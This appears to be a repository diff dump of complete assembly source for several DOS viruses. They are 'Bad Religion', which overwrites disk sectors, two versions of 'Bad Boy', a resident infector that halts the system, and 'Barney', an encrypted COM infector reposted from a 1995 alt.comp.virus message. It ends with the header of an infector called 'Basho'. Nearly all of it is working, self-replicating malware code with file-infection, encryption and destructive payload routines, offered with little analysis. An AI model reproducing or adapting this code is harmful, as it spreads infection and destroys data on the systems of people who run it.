encrypt_value dw 0 ; random xor (encryption) value
write_virus:
call en_de_crypt ; write encrypted copy of the virus
mov ah,40 ;
mov cx,code_end-v_start ; # bytes
lea dx,[bp+v_start] ; dx:100h
int 21 ;
call en_de_crypt ; decrypt virus again for further processing
ret
en_de_crypt:
mov ax,word ptr [bp+encrypt_value]
lea si,[bp+real_start]
mov cx,(enc_end-real_start+1)/2
xor_loopie:
xor word ptr [si],ax ; encrypts two bytes/loop until all
inc si ; code between real_start and enc_end
inc si ; are encrypted
loop xor_loopie
ret
real_start:
mov ah,2ch ; get time of 1/100 of a second value from
int 21h ; the system clock
cmp dl,58d ; value == 58d
jne get_drive ; nope!
mov al,2
drive: ; routine to overwrite all sectors
mov cx,1 ; on all drives from drive C-Z:
lea bx,[bp+v_name] ;
cwd
Next_Sector:
int 26h
inc dx
jnc next_sector
inc al
jmp short drive
get_drive:
mov ah,19h ; get drive from where we are executed from
int 21h ; check if it's a: or b:
cmp al,2 ; if so, return control to the original
jb quit ; program without infecting other files
lea si,[bp+org_buf] ; copy the first four bytes
mov di,100 ; of the file, into a buffer
movsw ; called org_buf
movsw ;
lea dx,[bp+code_end] ; set our own dta to code_end, so
mov ah,1ah ; the paramters when findfiles arent
int 21h ; destroyed
lea dx,[bp+direct_infect] ; if present, infect
call dirinfect ; \dos\edit.com
mov ah,4e ; search for com files
lea dx,[bp+com_files] ;
find_next:
int 21
jc no_more_files ; no more files find, exit!
call infect ; found a find, infect it!
mov ah,4f ; search next file
jmp short find_next ; and see if we find one
no_more_files: ;
mov dx,80 ; set the dta to 80h (default)
mov ah,1ah
int 21h
quit: ;
mov di,100 ; return control to original program
push di ;
ret
infect:
lea dx,[bp+code_end+1e] ; 1e = adress to filename in ds:dx in our
; new dta area!
dirinfect:
mov ax,3d02 ; open file
int 21 ; in read/write mode
jnc infect_it ; if the file \dos\edit.com doesnt exist
ret ; return, and search first comfile
infect_it:
xchg bx,ax ; filehandle in bx
mov ax,5700 ; get time/date
int 21
push dx ; save date
push cx ; save time
mov ah,3f ; read the first four bytes
mov cx,4 ; of the file to org_buf
lea dx,[bp+org_buf]
int 21
cmp byte ptr [bp+org_buf+3],03h ; previous infected (heart)
jz finish_infect ;
cmp word ptr [bp+org_buf],9090h ; double nop
jz finish_infect ;
cmp word ptr [bp+org_buf],5a4dh ; ZM (exe file)
jz finish_infect ;
cmp word ptr [bp+org_buf],4d5ah ; MZ (exe-file)
jz finish_infect ;
cmp byte ptr [bp+org_buf+1],6Dh ; command.com
jz finish_infect ;
mov ax, word ptr [bp+code_end+1ah] ; virus size * 2
cmp ax,762d ;
jb finish_infect
cmp ax,65156d ; 1024 * 64 - virus size
ja finish_infect ;
mov ax,4202 ; move file-pointer
xor cx,cx ; to end of file
cwd
int 21
sub ax,3 ; substract bytes
mov word ptr [bp+first_four+1],ax ; to our own jump
get_value:
mov ah,2ch ; get system clock for
int 21h ; 1/100 of a second
jz get_value ; if zero = get new value
mov word ptr [bp+encrypt_value],dx ; otherwise, use as enc value
call write_virus ; write virus to end of file
mov ax,4200 ; move file-pointer to
xor cx,cx ; top of file
cwd
int 21
mov ah,40 ; write our own jump
mov cx,4 ; instruction to the
lea dx,[bp+first_four] ; beginning
int 21
finish_infect:
mov ax,5701 ; set back
pop cx ; time
pop dx ; date
int 21 ;
mov ah,3e ; close file
int 21
ret ; return and continue!
v_name db "[Bad Religion] (c) 1994 The Unforgiven/Immortal Riot"
direct_infect db '\DOS\EDIT.COM',0
com_files db '*.com',0
first_four db 0e9,90,90,03 ; buffer to calculate a new entry
org_buf: db 90,90,0CDh,20 ; buffer to save first four bytes in
enc_end:
code_end:
end start
Binary file not shown.
@@ -0,0 +1,509 @@
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ;size of infected file
ftime dw ?
fdate dw ?
stdint21 dd ?
oldint13 dd ?
oldint21 dd ?
oldint24 dd ?
;------------- TABLE WITH MODULE PARAMETERS --------------------
table:
dw offset false_mod_1 ;00
dw offset mod_2 ;02
dw offset mod_3 ;04
dw offset mod_4 ;06 ;offset modules
dw offset mod_5 ;08
dw offset mod_6 ;0a
dw offset mod_7 ;0c
dw offset mod_8 ;0e
dw offset mod_2 - offset mod_1;10
dw offset mod_3 - offset mod_2;12
dw offset mod_4 - offset mod_3;14
dw offset mod_5 - offset mod_4;16
dw offset mod_6 - offset mod_5;18 ;size modules
dw offset mod_7 - offset mod_6;1a
dw offset mod_8 - offset mod_7;1c
dw offset myend - offset mod_8;1e
;------------- MODULE - 1 - CODER/DECODER ----------------------
mod_1:
mov bx,offset table+2 ;first module to working (module 2)
mov cx,6 ;number of modules to working
mod_1_lp1:
cmp bx,offset table+0a
jne mod_1_cont
add bx,2
mod_1_cont:
push bx
push cx
mov ax,[bx] ;ax - offset module
mov cx,[bx+10] ;cx - size of module
mov bx,ax
mod_1_lp2:
xor byte ptr [bx],al
inc bx
loop mod_1_lp2
pop cx
pop bx
add bx,2
loop mod_1_lp1
ret
;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
mod_2:
;instalation check
mov es,cs:[2] ;memory size
mov di,100
mov si,100
mov cx,0bh
repe cmpsb
jne mod_2_install ;jump if not install
jmp word ptr cs:[table+06] ;if install, jump to module 4
mod_2_install:
;instalation
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z'
je mod_2_cont
jmp word ptr cs:[table+6] ;if no last MCB - go to mod4
mod_2_cont:
sub word ptr ds:[3],0c0
mov ax,es
sub ax,0c0
mov es,ax
mov word ptr ds:[12],ax ;decrement memory size with 2K
push cs
pop ds
mod_2_mut:
mov byte ptr cs:files,0
mov di,100
mov cx,offset mod_1-100
mov si,100
rep movsb ;write table to new memory
mov bx,word ptr cs:[table]
add bx,offset mod_1_lp2-offset mod_1+1
xor byte ptr [bx],18 ;change code method
mov cx,8
mov word ptr curofs,offset mod_1
mod_2_lp1:
push cx
call mod_2_rnd ;generate random module addres
push bx ;addres in table returned from mod_2_rnd
mov ax,[bx] ;offset module
push ax
add bx,10
mov cx,[bx] ;length of module
pop si
pop bx
xchg di,curofs
mov word ptr es:[bx],di ;change module offset in table
rep movsb ;copy module to new memory
xchg di,curofs ;change current offset in new memory
mov ax,8000
or word ptr [bx],ax ;mark module - used
pop cx
loop mod_2_lp1
mov cl,8
not ax
mov bx,offset table
mod_2_lp2:
and word ptr [bx],ax ;unmark all modules
add bx,2
loop mod_2_lp2
jmp word ptr cs:[table+4] ;go to module 3
mod_2_rnd:
push cx
push es
xor cx,cx
mov es,cx
mod_2_lp3:
mov bx,es:[46c]
db 81,0e3,07,00 ;and bx,7
shl bx,1
add bx,offset table
test [bx],8000
jnz mod_2_lp3
pop es
pop cx
ret
;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
mod_3:
xor ax,ax
mov ds,ax
mov ax,ds:[4*21]
mov word ptr es:[oldint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[oldint21+2],ax
mov ah,30
int 21
cmp ax,1e03
jne mod_3_getvec
mov word ptr es:[stdint21],1460
mov ax,1203
push ds
int 2f
mov word ptr es:[stdint21+2],ds
pop ds
jmp mod_3_setvec
mod_3_getvec:
mov ax,ds:[4*21]
mov word ptr es:[stdint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[stdint21+2],ax
mod_3_setvec:
cli
mov ax,word ptr es:[table+0c]
mov ds:[4*21],ax
mov ax,es
mov ds:[4*21+2],ax
sti
mov cx,es
mov ah,13 ;
int 2f ;
push es ;
mov es,cx ;
mov word ptr es:[oldint13],dx ; get standart int13 addres
mov word ptr es:[oldint13+2],ds ;
pop es ;
int 2f ;
jmp word ptr cs:[table+06] ;go to module 4
;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
mod_4:
push cs
push cs
pop ds
pop es
mov si,word ptr cs:[table+06]
add si,offset mod_4_cont - offset mod_4
mov di,cs:fsize
add di,offset myend+1
push di
mov cx,offset mod_5 - offset mod_4_cont
cld
rep movsb
ret
mod_4_cont:
mov si,cs:fsize
add si,100
cmp si,offset myend+1
jnc mod_4_cnt
mov si,offset myend+1
mod_4_cnt:
mov di,100
mov cx,offset myend-100
rep movsb
mov ax,100 ;
push ax ; jmp 100
ret ;
;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
mod_5:
mov ah,9
mov dx,word ptr [table+8]
add dx,offset msg-offset mod_5
push cs
pop ds
int 21
cli
hlt
msg db 0dh,0a,'The bad boy halt your system ...',7,7,'$'
;------------- MODULE - 6 - INT 24 HEADER -----------------------
mod_6:
mov al,3
iret
db 'The Bad Boy virus, Copyright (C) 1991.',0
;------------- MODULE - 7 - INT 21 HEADER -----------------------
mod_7:
push bx
push si
push di
push es
push ax
cmp ax,4b00
je mod_7_begin
jmp mod_7_exit
mod_7_begin:
push ds
push cs ;
pop es ;
xor ax,ax ;
mov ds,ax ;
mov si,4*24 ;
mov di,offset oldint24 ;
movsw ; change int24 vector
movsw ;
mov ax,word ptr cs:[table+0a] ;
cli ;
mov ds:[4*24],ax ;
mov ax,cs ;
mov ds:[4*24+2],ax ;
sti
pop ds
mov ax,3d00 ;
pushf ;
call cs:oldint21 ;
jc mod_7_ex ; open,infect,close file
mov bx,ax ;
mod_7_infect: ;
call word ptr cs:[table+0e] ;
pushf
mov ah,3e ;
pushf ;
call cs:oldint21 ;
popf
jc mod_7_ex
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ; exchange int13 vectors
mov ax,word ptr cs:[oldint13+2] ;
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
mod_7_ex:
push ds ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:oldint24 ;
mov ds:[4*24],ax ;
mov ax,word ptr cs:oldint24+2 ; restore int24 vector
mov ds:[4*24+2],ax ;
pop ds ;
mod_7_exit:
pop ax
pop es
pop di
pop si
pop bx
jmp cs:oldint21
;------------- MODULE - 8 - INFECTING (bx - file handle) --------
mod_8:
push cx
push dx
push ds
push es
push di
push bp
push bx
mov ax,1220
int 2f
mov bl,es:[di]
xor bh,bh
mov ax,1216
int 2f
pop bx
mov ax,word ptr es:[di+11]
cmp ax,0f000
jc mod_8_c
jmp mod_8_exit
mod_8_c:
mov word ptr es:[di+2],2 ;open mode - R/W
mov ax,es:[di+11]
mov cs:fsize,ax ; save file size
mov ax,word ptr es:[di+0dh] ;
mov word ptr cs:[ftime],ax ; save file date/time
mov ax,word ptr es:[di+0f] ;
mov word ptr cs:[fdate],ax ;
push cs ;
pop ds ;
mov dx,offset myend+1 ;
mov cx,offset myend-100 ; read first bytes
mov ah,3f ;
pushf
call cs:oldint21
jnc mod_8_cnt
jmp mod_8_exit
mod_8_cnt:
mov bp,ax ; ax - bytes read
mov si,dx
mov ax,'MZ'
cmp ax,word ptr ds:[si]
jne mod_8_nxtchk
jmp mod_8_exit
mod_8_nxtchk:
xchg ah,al
cmp ax,ds:[si]
jne mod_8_cnt2
jmp mod_8_exit
mod_8_cnt2:
push es
push di
push cs ;
pop es ;
mov si,100 ;
mov di,dx ; check for infected file
mov cx,0bh ;
repe cmpsb ;
pop di
pop es
jne mod_8_cnt1 ;
jmp mod_8_exit
mod_8_cnt1:
mov word ptr es:[di+15],0 ; fp:=0
push es
push di
mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont - offset mod_8
xor di,di
push cs
pop es
mov cx,offset mod_8_cont_end - offset mod_8_cont
cld
rep movsb
pop di
pop es
mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont_end - offset mod_8
push si
xor si,si
push si
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ;
mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
ret
mod_8_cont:
push bx
call word ptr cs:[table] ; code virus
pop bx
mov dx,100 ;
mov ah,40 ; write code in begin
mov cx,offset myend-0ff
pushf ;
call cs:stdint21 ;
pushf
push bx
call word ptr cs:[table] ; decode virus
pop bx
popf
jnc mod_8_cont1
pop ax
mov ax,word ptr cs:[table+0e]
add ax,offset mod_8_ext - offset mod_8
push ax
ret
mod_8_cont1:
mov ax,es:[di+11] ; fp:=end of file
mov word ptr es:[di+15],ax ;
mov dx,offset myend+1
mov cx,bp ; bp - files read
mov ah,40 ;
pushf ;
call cs:stdint21 ; write in end of file
ret
mod_8_cont_end:
mov ax,5701 ;
mov cx,cs:ftime ;
mov dx,cs:fdate ; restore file date/time
pushf ;
call cs:oldint21 ;
inc cs:files
cmp cs:files,0a
jne mod_8_ext
call word ptr cs:[table+8]
jmp short mod_8_ext
mod_8_exit:
stc
jmp short mod_8_ex
mod_8_ext:
clc
mod_8_ex:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
ret
;---------------------------------------------------------------
myend db 0
int 20 ;code of infected file
false_mod_1:
mov word ptr cs:[table],offset mod_1
ret
code ends
end start

@@ -0,0 +1,510 @@
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ;size of infected file
ftime dw ?
fdate dw ?
stdint21 dd ?
oldint13 dd ?
oldint21 dd ?
oldint24 dd ?
;------------- TABLE WITH MODULE PARAMETERS --------------------
table:
dw offset false_mod_1 ;00
dw offset mod_2 ;02
dw offset mod_3 ;04
dw offset mod_4 ;06 ;offset modules
dw offset mod_5 ;08
dw offset mod_6 ;0a
dw offset mod_7 ;0c
dw offset mod_8 ;0e
dw offset mod_2 - offset mod_1;10
dw offset mod_3 - offset mod_2;12
dw offset mod_4 - offset mod_3;14
dw offset mod_5 - offset mod_4;16
dw offset mod_6 - offset mod_5;18 ;size modules
dw offset mod_7 - offset mod_6;1a
dw offset mod_8 - offset mod_7;1c
dw offset myend - offset mod_8;1e
;------------- MODULE - 1 - CODER/DECODER ----------------------
mod_1:
mov bx,offset table+2 ;first module to working (module 2)
mov cx,6 ;number of modules to working
mod_1_lp1:
cmp bx,offset table+0a
jne mod_1_cont
add bx,2
mod_1_cont:
push bx
push cx
mov ax,[bx] ;ax - offset module
mov cx,[bx+10] ;cx - size of module
mov bx,ax
mod_1_lp2:
xor byte ptr [bx],al
inc bx
loop mod_1_lp2
pop cx
pop bx
add bx,2
loop mod_1_lp1
ret
;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
mod_2:
;instalation check
mov es,cs:[2] ;memory size
mov di,100
mov si,100
mov cx,0bh
repe cmpsb
jne mod_2_install ;jump if not install
jmp word ptr cs:[table+06] ;if install, jump to module 4
mod_2_install:
;instalation
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z'
je mod_2_cont
jmp word ptr cs:[table+6] ;if no last MCB - go to mod4
mod_2_cont:
sub word ptr ds:[3],0c0
mov ax,es
sub ax,0c0
mov es,ax
mov word ptr ds:[12],ax ;decrement memory size with 2K
push cs
pop ds
mod_2_mut:
mov byte ptr cs:files,0
mov di,100
mov cx,offset mod_1-100
mov si,100
rep movsb ;write table to new memory
mov bx,word ptr cs:[table]
add bx,offset mod_1_lp2-offset mod_1+1
xor byte ptr [bx],18 ;change code method
mov cx,8
mov word ptr curofs,offset mod_1
mod_2_lp1:
push cx
call mod_2_rnd ;generate random module addres
push bx ;addres in table returned from mod_2_rnd
mov ax,[bx] ;offset module
push ax
add bx,10
mov cx,[bx] ;length of module
pop si
pop bx
xchg di,curofs
mov word ptr es:[bx],di ;change module offset in table
rep movsb ;copy module to new memory
xchg di,curofs ;change current offset in new memory
mov ax,8000
or word ptr [bx],ax ;mark module - used
pop cx
loop mod_2_lp1
mov cl,8
not ax
mov bx,offset table
mod_2_lp2:
and word ptr [bx],ax ;unmark all modules
add bx,2
loop mod_2_lp2
jmp word ptr cs:[table+4] ;go to module 3
mod_2_rnd:
push cx
push es
xor cx,cx
mov es,cx
mod_2_lp3:
mov bx,es:[46c]
db 81,0e3,07,00 ;and bx,7
shl bx,1
add bx,offset table
test [bx],8000
jnz mod_2_lp3
pop es
pop cx
ret
;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
mod_3:
xor ax,ax
mov ds,ax
mov ax,ds:[4*21]
mov word ptr es:[oldint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[oldint21+2],ax
mov ah,30
int 21
cmp ax,1e03
jne mod_3_getvec
mov word ptr es:[stdint21],1460
mov ax,1203
push ds
int 2f
mov word ptr es:[stdint21+2],ds
pop ds
jmp mod_3_setvec
mod_3_getvec:
mov ax,ds:[4*21]
mov word ptr es:[stdint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[stdint21+2],ax
mod_3_setvec:
cli
mov ax,word ptr es:[table+0c]
mov ds:[4*21],ax
mov ax,es
mov ds:[4*21+2],ax
sti
mov cx,es
mov ah,13 ;
int 2f ;
push es ;
mov es,cx ;
mov word ptr es:[oldint13],dx ; get standart int13 addres
mov word ptr es:[oldint13+2],ds ;
pop es ;
int 2f ;
jmp word ptr cs:[table+06] ;go to module 4
;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
mod_4:
push cs
push cs
pop ds
pop es
mov si,word ptr cs:[table+06]
add si,offset mod_4_cont - offset mod_4
mov di,cs:fsize
add di,offset myend+1
push di
mov cx,offset mod_5 - offset mod_4_cont
cld
rep movsb
ret
mod_4_cont:
mov si,cs:fsize
add si,100
cmp si,offset myend+1
jnc mod_4_cnt
mov si,offset myend+1
mod_4_cnt:
mov di,100
mov cx,offset myend-100
rep movsb
mov ax,100 ;
push ax ; jmp 100
ret ;
;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
mod_5:
xor di,di
mov ds,di
cli
mov di,word ptr cs:[oldint21]
mov ds:[4*21],di
mov di,word ptr cs:[oldint21+2]
mov ds:[4*21+2],di
sti
ret
db 'Make me better!'
;------------- MODULE - 6 - INT 24 HEADER -----------------------
mod_6:
mov al,3
iret
db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0
;------------- MODULE - 7 - INT 21 HEADER -----------------------
mod_7:
push bx
push si
push di
push es
push ax
cmp ax,4b00
je mod_7_begin
jmp mod_7_exit
mod_7_begin:
push ds
push cs ;
pop es ;
xor ax,ax ;
mov ds,ax ;
mov si,4*24 ;
mov di,offset oldint24 ;
movsw ; change int24 vector
movsw ;
mov ax,word ptr cs:[table+0a] ;
cli ;
mov ds:[4*24],ax ;
mov ax,cs ;
mov ds:[4*24+2],ax ;
sti
pop ds
mov ax,3d00 ;
pushf ;
call cs:oldint21 ;
jc mod_7_ex ; open,infect,close file
mov bx,ax ;
mod_7_infect: ;
call word ptr cs:[table+0e] ;
pushf
mov ah,3e ;
pushf ;
call cs:oldint21 ;
popf
jc mod_7_ex
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ; exchange int13 vectors
mov ax,word ptr cs:[oldint13+2] ;
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
mod_7_ex:
push ds ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:oldint24 ;
mov ds:[4*24],ax ;
mov ax,word ptr cs:oldint24+2 ; restore int24 vector
mov ds:[4*24+2],ax ;
pop ds ;
mod_7_exit:
pop ax
pop es
pop di
pop si
pop bx
jmp cs:oldint21
;------------- MODULE - 8 - INFECTING (bx - file handle) --------
mod_8:
push cx
push dx
push ds
push es
push di
push bp
push bx
mov ax,1220
int 2f
mov bl,es:[di]
xor bh,bh
mov ax,1216
int 2f
pop bx
mov ax,word ptr es:[di+11]
cmp ax,0f000
jc mod_8_c
jmp mod_8_exit
mod_8_c:
mov word ptr es:[di+2],2 ;open mode - R/W
mov ax,es:[di+11]
mov cs:fsize,ax ; save file size
mov ax,word ptr es:[di+0dh] ;
mov word ptr cs:[ftime],ax ; save file date/time
mov ax,word ptr es:[di+0f] ;
mov word ptr cs:[fdate],ax ;
push cs ;
pop ds ;
mov dx,offset myend+1 ;
mov cx,offset myend-100 ; read first bytes
mov ah,3f ;
pushf
call cs:oldint21
jnc mod_8_cnt
jmp mod_8_exit
mod_8_cnt:
mov bp,ax ; ax - bytes read
mov si,dx
mov ax,'MZ'
cmp ax,word ptr ds:[si]
jne mod_8_nxtchk
jmp mod_8_exit
mod_8_nxtchk:
xchg ah,al
cmp ax,ds:[si]
jne mod_8_cnt2
jmp mod_8_exit
mod_8_cnt2:
push es
push di
push cs ;
pop es ;
mov si,100 ;
mov di,dx ; check for infected file
mov cx,0bh ;
repe cmpsb ;
pop di
pop es
jne mod_8_cnt1 ;
jmp mod_8_exit
mod_8_cnt1:
mov word ptr es:[di+15],0 ; fp:=0
push es
push di
mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont - offset mod_8
xor di,di
push cs
pop es
mov cx,offset mod_8_cont_end - offset mod_8_cont
cld
rep movsb
pop di
pop es
mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont_end - offset mod_8
push si
xor si,si
push si
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ;
mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
ret
mod_8_cont:
push bx
call word ptr cs:[table] ; code virus
pop bx
mov dx,100 ;
mov ah,40 ; write code in begin
mov cx,offset myend-0ff
pushf ;
call cs:stdint21 ;
pushf
push bx
call word ptr cs:[table] ; decode virus
pop bx
popf
jnc mod_8_cont1
pop ax
mov ax,word ptr cs:[table+0e]
add ax,offset mod_8_ext - offset mod_8
push ax
ret
mod_8_cont1:
mov ax,es:[di+11] ; fp:=end of file
mov word ptr es:[di+15],ax ;
mov dx,offset myend+1
mov cx,bp ; bp - files read
mov ah,40 ;
pushf ;
call cs:stdint21 ; write in end of file
ret
mod_8_cont_end:
mov ax,5701 ;
mov cx,cs:ftime ;
mov dx,cs:fdate ; restore file date/time
pushf ;
call cs:oldint21 ;
inc cs:files
cmp cs:files,0a
jne mod_8_ext
call word ptr cs:[table+8]
jmp short mod_8_ext
mod_8_exit:
stc
jmp short mod_8_ex
mod_8_ext:
clc
mod_8_ex:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
ret
;---------------------------------------------------------------
myend db 0
int 20 ;code of infected file
false_mod_1:
mov word ptr cs:[table],offset mod_1
ret
code ends
end start

@@ -0,0 +1,323 @@
From smtp Tue Feb 7 13:16 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA08362 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:38 -0500
Date: Tue, 7 Feb 1995 13:19:38 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 8878
Content-Type: text
Message-Id: <199502071819.NAA08362@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) Barney virus
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!newsxfer.itd.umich.edu!agate!howland.reston.ans.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: Barney virus
Date: 5 Feb 1995 22:06:47 GMT
Organization: International Internet Association.
Lines: 291
Message-ID: <3h3i5n$v4@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]
Here is the Barney virus:
; Barney virus
PING equ 0F92Fh
INFECT equ 1
code segment
org 100h
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
db 0CDh,20h,0 ; host program
virus_begin:
mov dx,VIRUS_SIZE / 2 + 1
db 0BBh ; decryption module
code_offset dw offset virus_code
decrypt:
db 02Eh,081h,37h ; XOR CS:[BX]
cipher dw 0
inc bx
inc bx
dec dx
jnz decrypt
virus_code:
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
push ds es
cli
mov ax,PING ; mild anti-trace code
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
je no_trace
hlt
no_trace:
sti
in al,21h ; lock out & reopen keyboard
xor al,2
out 21h,al
xor al,2
out 21h,al
lea dx,[bp + offset new_DTA]
mov ah,1Ah
int 21h
mov byte ptr [bp + infections],0
call traverse
pop es ds
mov dx,80h
mov ah,1Ah
int 21h
com_exit:
lea si,[bp + host] ; restore host program
mov di,100h
push di
movsw
movsb
call fix_regs ; fix up registers
ret ; and leave
fix_regs:
xor ax,ax
cwd
xor bx,bx
mov si,100h
xor di,di
xor bp,bp
ret
traverse:
sub sp,64 ; allocate stack space
mov si,sp
inc si
mov ah,47h ; get current directory
xor dl,dl
int 21h
dec si
mov byte ptr ss:[si],'\' ; fix directory
next_dir:
call infect_dir
cmp byte ptr [bp + infections],INFECT
je traverse_done
lea dx,[bp + outer] ; repeat in next dir up
mov ah,3Bh
int 21h
jnc next_dir
traverse_done:
add sp,64 ; reset
mov dx,si
mov ah,3Bh
int 21h
ret
infect_dir:
mov ah,4Eh
lea dx,[bp + find_me]
int 21h
jc infect_done
next_file:
lea dx,[bp + new_DTA + 1Eh]
call execute
cmp byte ptr [bp + infections],INFECT
je infect_done
mov ah,4Fh
int 21h
jnc next_file
infect_done:
ret
execute:
push si
xor ax,ax ; critical error handler
mov es,ax ; routine - catch int 24
lea ax,[bp + int_24]
mov es:[24h * 4],ax
mov es:[24h * 4 + 2],cs
mov ax,4300h ; change attributes
int 21h
push cx dx ds
xor cx,cx
call set_attributes
mov ax,3D02h ; open file
int 21h
jc cant_open
xchg bx,ax
mov ax,5700h ; save file date/time
int 21h
push cx dx
mov ah,3Fh
mov cx,28
lea dx,[bp + read_buffer]
int 21h
cmp word ptr [bp + read_buffer],'ZM'
je dont_infect ; .EXE, skip
mov al,2 ; move to end of file
call move_file_ptr
cmp dx,65279 - (VIRUS_SIZE + 3)
ja dont_infect ; too big, don't infect
sub dx,VIRUS_SIZE + 3 ; check for previous infection
cmp dx,word ptr [bp + read_buffer + 1]
je dont_infect
add dx,VIRUS_SIZE + 3
mov word ptr [bp + new_jump + 1],dx
add dx,103h
call encrypt_code ; encrypt virus
lea dx,[bp + read_buffer] ; save original program head
int 21h
mov ah,40h ; write virus to file
mov cx,VIRUS_SIZE
lea dx,[bp + encrypt_buffer]
int 21h
xor al,al ; back to beginning of file
call move_file_ptr
lea dx,[bp + new_jump]
int 21h
fix_date_time:
pop dx cx
mov ax,5701h ; restore file date/time
int 21h
inc byte ptr [bp + infections]
close:
pop ds dx cx ; restore attributes
call set_attributes
mov ah,3Eh ; close file
int 21h
cant_open:
pop si
ret
set_attributes:
mov ax,4301h
int 21h
ret
dont_infect:
pop cx dx ; can't infect, skip
jmp close
move_file_ptr:
mov ah,42h ; move file pointer
cwd
xor cx,cx
int 21h
mov dx,ax ; set up registers
mov ah,40h
mov cx,3
ret
courtesy_of db '[BW]',0
signature db 'BARNEY (c) by HypoDermic!! Part of the Mayberry Family!!!',0
encrypt_code:
push ax cx
push dx
xor ah,ah ; get time for random number
int 1Ah
mov [bp + cipher],dx
pop cx
add cx,virus_code - virus_begin
mov [bp + code_offset],cx
push cs ; ES = CS
pop es
lea si,[bp + virus_begin]
lea di,[bp + offset encrypt_buffer]
mov cx,virus_code - virus_begin
rep movsb
mov cx,VIRUS_SIZE / 2 + 1
encrypt:
lodsw ; encrypt virus code
xor ax,dx
stosw
loop encrypt
pop cx ax
ret
find_me db '*.COM',0
outer db '..',0
int_24:
mov al,3 ; int 24 handler
iret
new_jump db 0E9h,0,0
infections db 0
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?) ; read buffer
new_DTA db 128 dup(?)
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"
+331
View File
@@ -0,0 +1,331 @@
; NAME: Basho.com
; SIZE: 431 bytes
; AUTHOR: Sea4
; TYPE: Appending in a weird way.
; ENCRYPTION: No
; DT: Yes
; STEALTH: No
; REPAIRABLE: Yes
; PAYLOAD: Yes
; RESIDENT: No
; ROI: 4 files per run
; POLYMORPHIC: No
; Explanation.
; Its not very easy to understand at first glance how it even possibly works.
; But the plain and simple fact is that it DOES work, and it works well. I
; thought of the concept right before I went to sleep the other night, maybe
; I was having hallucinations or something. I am not even sure if its an
; original idea. But I like it!
; WTF it does:
; Upon execution the JMP at the beginning of the infected file will jump to
; what I call the virus' launching pad. Its does a few menial tasks like
; saving/restoring program code and the DTA. It also launches the true virus.
; The true virus is stored where actual program code used to be, I call that
; area of program code P3.
; P1 = Is the area the infecting JMP is stored.
; P2 = Is the middle of infected program.
; P3 = The last bytes of program that have been moved to
; make room for Basho.
